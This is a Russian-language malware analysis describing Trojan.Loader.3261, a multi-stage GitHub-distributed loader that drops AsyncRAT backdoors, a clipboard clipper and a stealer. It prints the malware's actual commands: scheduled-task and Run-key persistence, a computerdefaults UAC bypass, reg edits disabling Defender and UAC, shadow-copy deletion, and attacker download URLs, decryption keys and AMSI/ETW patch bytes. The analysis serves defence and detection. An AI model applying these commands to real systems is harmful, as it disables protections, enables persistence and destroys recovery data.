Trojan.Loader.3261

SHA1-хеши:

• b9d6a75a254420af3b6ec82be99fb9b5b9202253

Описание

Является основной частью трояна, который распространяется в репозиториях GitHub и нацелен на пользователей криптоигр и специалистов по информационной безопасности. Trojan.Loader.3261 наносит основной многоплановый ущерб зараженным ПК и имеет сложную модальную структуру.

Принцип действия

Код Trojan.Loader.3261 выполняется в 3 стадии. Первые две могут запуститься по одному разу за весь период работы трояна. Их активация зависит от наличия в системе специальных файлов mutexone и mutex23, которые создает троян во время выполнения первой и второй стадии соответственно. В этих файлах указывается PID и точное время создания. Если они уже существуют во время последующих запусков, ВПО сразу переходит к третьему этапу. Файлы-мьютексы создаются в папках:

• C:\\Users\Public\Music,
• %TEMP%,
• C:\Users\Public\AppData\Local\Temp,
• %APPDATA%.

По завершении стадии мьютексы не удаляются, благодаря чему первая и вторая стадии не запустятся при повторной работе ВПО.

Первая стадия

Первым делом Trojan.Loader.3261 проверяет наличие на зараженном ПК файла mutexone. При отсутствии троян создает его и запускает первую стадию, в ходе которой выполняет несколько подготовительных действий для дальнейшей вредоносной активности.

1. Запись конфигурации Trojan.Loader.3261. Функция ensureConfigKeyBaseline()

   В C:\\Users\Public\Music\config записывается стандартная конфигурация:

   
   config 1.4.0
   deaduac = false
   defenderalive = false
   ipconnection = false
   startupadmin = false
   startupnormal = false
   AvDead = false
   filesControl = false
   configcontrol = false
   updatecontrol = false
   mutexcontrol = false
   hosts = false
   Sysupdate = false
   SysControl = false
   firststartone = false
   firststarttwo = false
   firststarttree = false
   method1count = 0
   method2count = 0
   indexmode2 = 0
   indexmode3 = 0
   mode3non = 0
   handler = 0
       

2. Загрузка и распаковка архива Nexara.7z. Функция fetchAndProcess()

   Троян подготавливает к работе архиватор 7zip в формате WASM. Если происходит ошибка, используется 7zip.exe, находящийся в одной из директорий ВПО. Затем Trojan.Loader.3261 обращается к легитимным ссылкам:

   • youtu[.]be/jQmLBnJ3Wt
   • t[.]me/s/lwmic2
   • docs[.]google[.]com/document/d/1eMYEh0IAfjAvK14R-sNjMFU1qYVMyS1Dke5ijDwP_Rk/edit?usp=sharing
   • gitcode[.]com/LastWer/DownMic/blob/main/README.md
   • pastebin[.]com/raw/5sJxy9k9

   Или напрямую на серверы злоумышленников:

   • muckanthropic[.]com/LG/Nexara
   • muckduck[.]duckdns[.]org/Nexara.txt

   Оттуда троян получает строку d173fa44d34820273a40bdcaccdc2487696941e0622db42ea15d00a5375b6f, которая расшифровывается в ссылку для скачивания архива Nexara.7z, IP-адрес 130[.]12[.]182[.]172/Nexara.7z. Алгоритм шифрования — AES 256 в режиме CTR, ключ: qubgl6he13TKi2PjPRhXwDvJzjEQLWcX, IV: 0000000000000000000000000000000.

   Полученный архив сохраняется во временную папку %Temp/zipath%, а затем распаковывается в %Temp/semipath%. Пароль архива — 73hvdu342. Полученные файлы представляют собой вспомогательные нагрузки для реализации вредоносных функций. Помимо них, в файле manifest/config.json записана основная конфигурация трояна. В завершение полученные файлы и папки распределяются по путям ПК:

   
   "led.7z": C:\\Users\%user%\Public\Packages\Microsoft.Windows.Store_6yyyyb3d8bbwe
   "Nvdia.7z": C:\\Users\%user%\Public\Package,
   "WindowsPowershell.exe": C:\\Users\%user%\Public\Package,
   "Audio": C:\\Users\%user%\Public\Packages\Microsoft.ZBY.BrokerPlugin,
   "Display": C:\\Users\%user%\Public\Packages\Microsoft.ZBY.BrokerPlugin,
   "boot_f": C:\\Users\%user%\Public\Microsoft\PlayReady\InternetExplorer\InPrivate\DefaultBrowser\resources\manifest',
   "kernel_f": C:\\Users\%user%\Public\Microsoft\PlayReady\InternetExplorer\InPrivate\DefaultBrowser\resources\manifest,
   "thread_f": C:\\Users\%user%\Public\Microsoft\PlayReady\InternetExplorer\InPrivate\DefaultBrowser\resources\manifest,
   "thumbcache": C:\\Users\Public\Videos,
   "manifest": C:\\Users\Public\Videos,
       

3. Сбор информации о компьютере. Функция executeTelemetryReportingWorkflow()

   С зараженного компьютера троян собирает следующую информацию:

   • скриншот экрана,
   • IP-адрес,
   • геопозиция,
   • модель процессора (CPU),
   • количество ядер процессора,
   • модель видеокарты (GPU),
   • объем оперативной памяти (RAM),
   • версия Windows,
   • разрядность,
   • язык,
   • список установленных антивирусов,
   • статус Windows Defender.

   Для создания скриншота создается PowerShell скрипт %TEMP%\CaptureScreens.ps1, который сохраняет результат в %TEMP%\Screenshots\Screenshot.png. Вся добытая информация отправляется преступникам через Telegram-бота.

   
   New Person
   IP: ..., Country: ... , Region: ...
   Windows: ..., Username: ..., Antivirus: ...
   CPU: ..., GPU: ..., RAM: ..., UAC Status: ..., Defender Status: ... 
       

4. Автозагрузка. Функция ensureScheduledExecutionPolicy()

   Способ автозагрузки выбирается в зависимости от того, запущена программа от лица обычного пользователя или администратора. Если используется учетная запись обычного пользователя:

   • троян создает задачу с именем WindowsUpdate, которая запускает Microsoft.exe каждые 30 минут;

     
     schtasks /create /tn "WindowsUpdate" /tr C:\\ProgramData'}\\Windows.Microsoft.Photos\\current\\Microsoft.exe" /sc minute /mo 30 /st 00:00 /F
             

   • добавляет запись в ветку HKCU\...\Run со значением RegisterDeviceManagemen

     
     reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "RegisterDeviceManagement" /t REG_SZ /d "C:\\ProgramData'}\\Windows.Microsoft.Photos\\current\\Microsoft.exe" /f
             

   В режиме администратора Trojan.Loader.3261:

   • удаляет автозагрузку Microsoft.exe, созданную пользователем;

   • создает тестовую автозагрузку и незамедлительно удаляет;

     
     schtasks /create /tn "\\Microsoft\\Windows\\Windows Filtering\\TempTask" /tr "cmd.exe /c echo." /sc once /st 00:00 /F` schtasks /delete /tn "${TEMP_TASK_NAME}" /F
             

   • создает задачу с повышенными привилегиями.

     
     schtasks /create /tn "\\Microsoft\\Windows\\Windows Filtering\\RegisterDeviceManagement" /tr "C:\\ProgramData'}\\Windows.Microsoft.Photos\\current\\Microsoft.exe" /sc minute /mo 30 /st 00:00 /rl HIGHEST /F
             

5. Повышение привилегий. Функция executeUacElevationWorkflow()

   Разработчики Trojan.Loader.3261 предусмотрели 2 способа повышения привилегий. Во время первой стадии троян предпринимает 3 попытки достигнуть цели одним способом, затем 3 попытки при помощи альтернативного.

   Первый способ:

   • ВПО распаковывает библиотеку led.dll из архива led.7z в директорию C:\\Users\Public\Videos\Pictures, применяя пароль 73hvdu342. Функционал led.dll — запуск вредоносного приложения Microsoft.exe;
   • затем создает записи в реестре в ветке HKCU\\Software\\Classes\\CLSID\\{A2D4B6C7-1234-5678-9ABC-DEF012345678}\\InprocServer32 и указывает путь до led.dll как переменная COR_PROFILER_PATH;
   • код устанавливает переменные окружения HKCU\Environment: COR_ENABLE_PROFILING=1, COR_PROFILER={GUID}, COR_PROFILER_PATH=<DLL>;
   • троян использует команду taskschd.msc для применения заданных ранее переменных и загрузки DLL, через 5 секунд процесс принудительно завершается.

   В случае неудачи код применяет второй способ:

   • модифицирует реестр и выполняет команду запуска системного компонента computerdefaults.exe.

     
     reg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command /v DelegateExecute /t REG_SZ /d "" /f
     reg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command /ve /t REG_SZ /d "C:\\ProgramData\\Windows.Microsoft.Photos\\Current\\Microsoft.exe" /f
     start computerdefaults.exe
             

Вторая стадия

Trojan.Loader.3261 проверяет наличие на зараженном ПК файла mutex23. При отсутствии троян создает его и запускает вторую стадию.

1. Запуск пункта 4 из первой стадии: Автозагрузка. Функция ensureScheduledExecutionPolicy()

   Ее повтор необходим, чтобы после повышения привилегий были установлены новые задачи на запуск Microsoft.exe.

2. Модификация настроек компьютера. Функция executeSystemHardeningWorkflow()

   Троян последовательно выполняет вредоносные действия:

   • отключает Windows Defender;

     
     reg add "HKCU\\Software\\Policies\\Microsoft\\Windows Defender Security Center\\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v AllowFastServiceStartup /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableSpecialRunningModes /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f,
     reg delete "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run" /v SecurityHealth /f,
     reg delete "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v SecurityHealth /f,
     schtasks /Change /TN "Microsoft\\Windows\\ExploitGuard\\ExploitGuard MDM policy Refresh" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan" /Disable,
     schtasks /Change /TN "Microsoft\\Windows\\Windows Defender\\Windows Defender Verification" /Disable
             

   • отключает UAC;

     
     reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v EnableLUA /t REG_DWORD /d 0 /f
             

   • отключает уведомления;

     
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Microsoft.WindowsDefender.SecurityCenter.Notifications" /v Enabled /t REG_DWORD /d 0 /f,
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\WindowsDefenderSecurityCenter" /v Enabled /t REG_DWORD /d 0 /f,
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f,
     reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\PublicProfile" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Notifications" /v SCNotifyEnabled /t REG_DWORD /d 0 /f,
     reg add "HKLM\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f,
     reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
             

   • добавляет исключения в Windows Defender: запускает PowerShell скрипт, который вносит в исключения процессы WindowsPowershell.exe, regasm.exe, Microsoft.exe, MicrosoftRunner.exe, XClient.exe и весь путь C:\;
   • отключает службы VSS: с помощью команды vssadmin delete shadows /for=c: /all /quiet удаляет теневые копии, что лишает пользователя возможности восстановить файлы из предыдущих состояний системы. Используя команду Stop-Service -Name VSS троян останавливает работу службы VSS, блокируя создание точек восстановления;
   • отключает System Restore: командой DisableSR=1, DisableConfig=1 запрещает использование функции восстановления системы через реестр.

3. Внедрение вредоносных файлов в легитимные процессы. Функция runHandlerWithTcpControl()

   Троян узнает адрес управляющего сервера из файла config.json, находящийся в архиве Nexara.7z. С помощью PowerShell и утилиты Netstat ВПО проверяет, есть ли TCP-соединение с управляющим сервером C2. Если связи нет, запускается вредоносная нагрузка.

   Троян создает жесткую ссылку на вредоносный файл с названием MicrosoftRunner.exe в этой же директории, затем вносит этот файл и Microsoft.exe в исключения Windows Defender и запускает MicrosoftRunner.exe с аргументом --batch-worker.

   Благодаря запуску с таким аргументом, Trojan.Loader.3261 игнорирует все другие действия и переходит к ветке выбора метода исполнения вредоносных файлов. Трояном предусмотрено 4 различных способа: Mode3, Mode2, Mode3non, Handler.

   • Mode3 спроектирован с целью обхода множества защит и внедрения вредоносных файлов при помощи ряда техник.

     • PPID spoofing. У запущенных для внедрения процессов подменяется PID родительского процесса под идентификатор explorer.exe. Также при запуске процесса выставляется настройка microsoftsignedonly=true.
     • Исключения Windows Defender. Если у трояна есть права администратора, он пытается добавить в исключения процессы Microsoft.exe, node.exe, regasm.exe, dwwin.exe, dwm.exe.
     • Smart App Controll bypass. Скрипт обращается к реестру по адресу: HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy и ищет значение VerifiedAndReputablePolicyState. Если защита активна, скрипт пытается принудительно изменить значение на 0. Далее запускает C:\Windows\System32\citool.exe –refresh.
     • Установка случайной задержки между операциями от 700 до 2 500 мс.
     • Удаление хуков из библиотеки ntdll.dll. Для этого троян считывает оригинальный ntdll.dll с диска и сверяет его с существующим в процессе. Он сканирует секции и обнаруживает хуки, побайтово сравнивая исполняемый код в памяти с чистой копией на диске. Если обнаруживает отличия, похожие на инструкции хуков, он переписывает их на основе первоначальных данных библиотеки.
     • Halo's Gate. Позволяет вызывать системные функции Windows напрямую через syscall, что затрудняет перехват вызовов со стороны EDR. Троян извлекает SSN номера для NT-функций, необходимых для реализации внедрений.
     • ETW patch. ВПО выполняет патчинг ntdll.dll!EtwEventWrite в памяти процесса node.exe, чтобы отключить телеметрию Event Tracing for Windows (ETW). Первые 6 байт функции EtwEventWrite перезаписываются инструкцией mov eax, 0; ret, после чего ETW-события не запускаются.
     • AMSI patch. Троян находит функцию AmsiScanBuffer в библиотеке amsi.dll и перезаписывает ее первые 6 байт командой mov eax, 0x80070057;ret. Это заставляет функцию немедленно завершаться с кодом ошибки E_INVALIDARG и, следовательно, никогда не сканировать буфер.

     После успешного обхода защит Trojan.Loader.3261 выбирает процесс, в который будет внедряться: RegAsm.exe, dwwin.exe, dwm.exe. Сама полезная нагрузка расшифровывается из файлов boot_f, kernel_f, thread_f, распакованных из архива Nexara.7z. Ключи находятся в config.json под значениями b_f, k_f, t_f. Внедрившись в процессы, троян проверяет соединения c управляющим сервером. Если хотя бы одна полезная нагрузка не смогла внедриться, скрипт может отправить отчет об ошибке в Telegram-бота.

   • Mode2 применяется, если Trojan.Loader.3261 не удалось загрузить полезную нагрузку.

     • Расшифровывает и проверяет файлы thumbcache_{11..20}.dll из архива Nexara.7z — в них реализуются функции для внедрения.
     • Проверяет, что вредоносные модули не запущены.
     • Вносит исключения regasm.exe, dwm.exe в Windows Defender.
     • Расшифровывает части PowerShell скрипта (PowerShell.Inject.245) из конфигурации и записывает его в папку temp со случайным названием. Скрипт проверяет, существуют ли библиотеки thumbcache и добавляет их с помощью команды Add-Type. Далее скрипт расшифровывает основные нагрузки и внедряет их в RegAsm.exe. Запуск PowerShell.Inject.245 идет по цепочке: процесс wscript.exe запускает сценарий %TEMP%\*.vbs, а тот, в свою очередь, PowerShell скрипт %TEMP%\*.ps1.
     • Ищет файл cryptwizard, расшифровывает его и внедряет в процесс dwwin.exe. На момент создания описания этого файла не существует, флаг его запуска установлен как false.
     • Проверяет подключения к C2 серверу с помощью PowerShell скрипта и утилиты Netstat.
   • Mode3non повторяет функциональность Mode3 за исключением техник обхода защит.
   • Handler повторяет схему запуска вредоносных модулей, описанную для Mode2. Этот мод менее гибкий и модульный по сравнению с Mode2. Например, он не использует конфигурации, все данные напрямую вписаны в код. Возможно, это устаревшая версия запуска, которую вирусописатели решили оставить в коде.

   В итоге запускаются три вредоносных файла: BackDoor.AsyncRAT.115 (SHA1: ed3b7ec91ce882aa235fed14877ad58514f53de9), BackDoor.AsyncRAT.115 (SHA1: 1ad7549378c2af3be2417426cc41852e4d7b6206) и Trojan.InjectNET.14 (SHA1: b83b3cd9ee7f00365308429f58c71170f5f93acc).

   BackDoor.AsyncRAT.115 предоставляют злоумышленникам полный доступ к зараженному компьютеру: в процессы внедряются два абсолютно идентичных вредоносных файла, отличаются только порты подключения. Предположительно, чтобы 2 оператора могли одновременно управлять одним ПК.

   Trojan.InjectNET.14 обфусцирован при помощи криптера Cronos-Crypter. Троян внедряет в процесс regasm.exe файл Trojan.Clipper.688, который подменяет адреса криптокошельков в буфере обмена. В процессе замены делает скриншот экрана и отправляет в Telegram-бота вместе с информацией о версии клиппера, имени активного окна, имени пользователя и его IP.

4. Запуск исполняемого файла из архива Nvdia.7z. Функция executeRuntimeBootstrapWorkflow()

   В завершении второй стадии троян распаковывает и запускает вредоносный файл SearchFilterHost.exe, который является JS.Stealer.191.

Третья стадия

Во время финальной стадии троян запускает функции, список которых зависит от привилегий. Для обычного пользователя это performAllChecks(), checkFiles(), ipcontrol(), checkForUpdates().

• performAllChecks().Trojan.InjectNET.14 проверяет наличие на зараженной станции файла config.json. В случае его отсутствия или повреждения скачивает архив Nexara.7z и распаковывает содержимое по папкам.
• checkFiles(). Проверяет существование файлов Nexara: boot_f, kernel_f, thread_f, manifest/config.json, thumbcache/thumbcache_{11..20}.dll. При отсутствии любого из них скачивает и распаковывает Nexara.7z.
• ipcontrol(). Проверяет подключение к управляющему серверу C2. Если соединения нет, запускает внедрение вредоносных файлов при помощи модов.

• checkForUpdates(). Проверяет наличие актуальной версии на легитимных сервисах или на серверах злоумышленников и сравнивает со своей, указанной в конфигурации. Если есть обновления, они устанавливаются через вредоносный модуль PowerShell.Packed.270. Адреса серверов преступников:

  
  // Update Url
  const Muck = "https://muckanthropic[.]com/LG/MicVersion";
  const rlim5 = "https://muckduck.duckdns[.]org/MicVersion.txt";
      

В режиме администрирования к вышеперечисленным функциям добавляются uaccontrol(), DefenderControl(), StartupChecks(), antiavControl(), hostsControl().

• uaccontrol(). Троян проверяет, запущен ли процесс с правами администратора и статус службы UAC. В случае несоответствия — повышает привилегии и отключает UAC.
• DefenderControl(). Проверяет исключения Windows Defender, в случае необходимости запускает функцию модификации настроек компьютера executeSystemHardeningWorkflow().
• StartupChecks(). Проверяет и устанавливает себя в автозагрузку.

• antiavControl(). Проверяет наличие на зараженном компьютере установленных антивирусов ESET, McAfee, Malwarebytes. В случае обнаружения пытается их удалить.

  

• hostsControl(). В файл etc/hosts добавляет запись о перенаправлении на адрес 127.0.0.1 ряда доменов антивирусных вендоров. Также удаляет все файлы и папки в директории etc/hosts, кроме разрешенных файлов: hosts, networks, protocol, services, lmhosts.sam. Это способно помешать пользователю воспользоваться бэкапами.

Матрица MITRE

Подробнее об Trojan.Clipper.688

Подробнее об JS.Stealer.191

Новость о трояне